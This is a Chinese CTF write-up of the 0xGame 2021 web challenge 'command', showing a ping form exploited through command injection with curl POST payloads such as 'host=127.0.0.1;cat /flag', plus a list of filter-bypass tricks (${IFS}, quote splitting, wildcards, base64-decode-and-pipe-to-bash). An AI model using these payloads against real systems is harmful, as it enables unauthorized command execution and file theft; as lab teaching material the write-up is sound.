Writeup 4 0xGame 2021 · command (WEB)

Writeup 4 0xGame 2021 · command (WEB)

该 Writeup 包含了完整的解题思路、原理分析以及可以直接复用的 Payload。

一、题目信息

  • 赛事:0xGame 2021
  • 方向:WEB
  • 题目:command
  • 描述 :0xGame{}
  • 靶机地址 :http://49.232.142.230:10692/

二、解题思路

1. 信息收集与源码分析

访问靶机首页,页面上只有一个用来输入 IP 地址的输入框,以及一个写着 Ping 的提交按钮。

查看页面源码(F12),核心代码如下:

html 复制代码
<form action="index.php" method="post">
    <input type="text" name="host">
    <input type="submit" value="Ping" disabled="disabled">
</form>

发现两个关键点:

  1. 前端限制 :提交按钮被添加了 disabled="disabled" 属性,导致用户无法在页面上直接点击提交。但这只是前端的障眼法,我们完全可以使用工具(如 HackBar、Burp Suite 或 curl)直接构造 POST 请求绕过这个限制。
  2. 参数传递 :表单以 POST 方式提交 host 参数给 index.php。

2. 漏洞验证(命令注入)

题目名称叫 command,且后端接收 host 参数,极大概率是后端通过 system() 或 shell_exec() 等函数执行了类似 ping -c 4 $host 的命令,并且没有对用户输入进行过滤。

我们使用 curl 构造 POST 请求,利用 Linux 的命令连接符 ; 在 ping 命令后拼接 ls 命令:

bash 复制代码
root@Rambo:/command# curl -X POST http://49.232.142.230:16817/index.php -d "host=127.0.0.1;ls"

回显结果 :成功输出了当前目录下的文件 index.php,证明命令注入成功。

html 复制代码
<html>
<head>
    <title>
        Ai Ping wins
    </title>
    <style type="text/css">
        body{
            background: cornflowerblue;
        }
    </style>
</head>
<body>
<form action="index.php" method="post">
    <input type="text" name="host">
    <input type="submit" value="Ping" disabled="disabled">
</form>
</body>
</html>
index.php
root@Rambo:/command#

3. 寻找 Flag

当前目录下并没有 flag 文件,因此需要去系统的其他目录寻找。使用 ls / 查看根目录:

bash 复制代码
root@Rambo:/command# curl -X POST http://49.232.142.230:16817/index.php -d "host=127.0.0.1;ls -la /"

运行结果:

html 复制代码
<html>
<head>
    <title>
        Ai Ping wins
    </title>
    <style type="text/css">
        body{
            background: cornflowerblue;
        }
    </style>
</head>
<body>
<form action="index.php" method="post">
    <input type="text" name="host">
    <input type="submit" value="Ping" disabled="disabled">
</form>
</body>
</html>
total 84
drwxr-xr-x   1 root root 4096 Nov  5 10:35 .
drwxr-xr-x   1 root root 4096 Nov  5 10:35 ..
-rwxr-xr-x   1 root root    0 Nov  5 10:35 .dockerenv
drwxr-xr-x   1 root root 4096 Jan 22  2019 bin
drwxr-xr-x   2 root root 4096 Oct 20  2018 boot
drwxr-xr-x   5 root root  340 Nov  5 10:35 dev
drwxr-xr-x   1 root root 4096 Nov  5 10:35 etc
-r--r--r--   1 root root   36 Aug  9  2023 flag
drwxr-xr-x   2 root root 4096 Oct 20  2018 home
drwxr-xr-x   1 root root 4096 Jan 22  2019 lib
drwxr-xr-x   2 root root 4096 Jan 22  2019 lib64
drwxr-xr-x   2 root root 4096 Jan 22  2019 media
drwxr-xr-x   2 root root 4096 Jan 22  2019 mnt
drwxr-xr-x   2 root root 4096 Jan 22  2019 opt
dr-xr-xr-x 219 root root    0 Nov  5 10:35 proc
drwx------   1 root root 4096 Jan 23  2019 root
drwxr-xr-x   1 root root 4096 Jan 22  2019 run
drwxr-xr-x   1 root root 4096 Jan 22  2019 sbin
drwxr-xr-x   2 root root 4096 Jan 22  2019 srv
dr-xr-xr-x  13 root root    0 Sep  3  2025 sys
drwxrwxrwt   1 root root 4096 Jan 23  2019 tmp
drwxr-xr-x   1 root root 4096 Jan 22  2019 usr
drwxr-xr-x   1 root root 4096 Jan 22  2019 var
root@Rambo:/command#

发现根目录下存在一个名为 flag 的文件。直接使用 cat 命令读取:

bash 复制代码
root@Rambo:/command# curl -X POST http://49.232.142.230:16817/index.php -d "host=127.0.0.1;cat /flag"

4. 获取 Flag

读取成功,回显如下:

html 复制代码
<html>
<head>
    <title>
        Ai Ping wins
    </title>
    <style type="text/css">
        body{
            background: cornflowerblue;
        }
    </style>
</head>
<body>
<form action="index.php" method="post">
    <input type="text" name="host">
    <input type="submit" value="Ping" disabled="disabled">
</form>
</body>
</html>
0xGame{L1nux_cmd_1s_3a5y_t0_you!!!}
root@Rambo:/command#

三、最终 Flag

text 复制代码
0xGame{L1nux_cmd_1s_3a5y_t0_you!!!}

注:如果平台要求 NSSCTF{} 格式,替换前缀即可

四、知识点总结

  1. 前端限制不可信 :永远不要相信前端的任何限制(如 disabled 按钮、JS 验证等)。攻击者可以直接构造 HTTP 数据包绕过前端校验,所有的安全限制必须在后端实现。
  2. 命令执行/注入(RCE) :Web 应用如果直接调用系统命令且未对输入进行严格过滤,攻击者可以利用 ;、|、&、|| 等符号拼接恶意命令。
  3. 绕过技巧 :在 CTF 中,如果遇到命令执行被过滤,常见的绕过方式包括:
    • 使用空格绕过:${IFS}、$IFS$9、<、> 等。
    • 使用关键字绕过:c'a't、tac、nl、more、less。
    • 使用编码绕过:echo "base64" | base64 -d | bash。
    • 使用通配符:cat /fla? 或 cat /fl*。
  4. Linux 基础 :熟悉常见的系统命令(ls、cat、find 等)以及对系统目录结构的了解(Flag 经常被藏在 / 根目录、/home 或 /tmp 下)。

Rambo

2026年11月05日

🎉🎉🎉

相关推荐
188******767223 小时前
Web端不限人数后,设备监控的权限与网络安全怎么管
经验分享·web
贝锐8 小时前
远程运维如何实现网页触达:制造企业引入向日葵SDK重构机床运维实战
运维·sdk·web
hengdonghui1 天前
Writeup 4 Bugku game1
web·ctf·客户端签名伪造·混淆函数逆向·魔改 base64
hengdonghui2 天前
Writeup 4 备份是个好习惯
web·ctf·备份文件泄露·php 弱类型比较
kingx35 天前
DASCTF 简单的逆向:ZIP 包裹 PE32 的 strncmp 校验分析
静态分析·ctf·逆向工程·pe32
kingx35 天前
DASCTF Word-For-You 留言板 SQL 注入从探测到出 flag
web安全·网络安全·ctf·sql注入·手工注入·留言板·ctf战报
Grassto7 天前
web 服务安全测试(漏洞扫描、渗透测试)深入理解
web·安全测试
爱学习的程序媛13 天前
Python常用框架梳理
开发语言·后端·python·ai·web·后端框架·python框架
print_Hyon13 天前
【CTF-CRYPTO-教学-XOR】第二节:只有密文没有任何线索,暴力破解
ctf
treasure14014 天前
【复古】浅尝Django前后端不分离
前端·css·python·django·bootstrap·html·web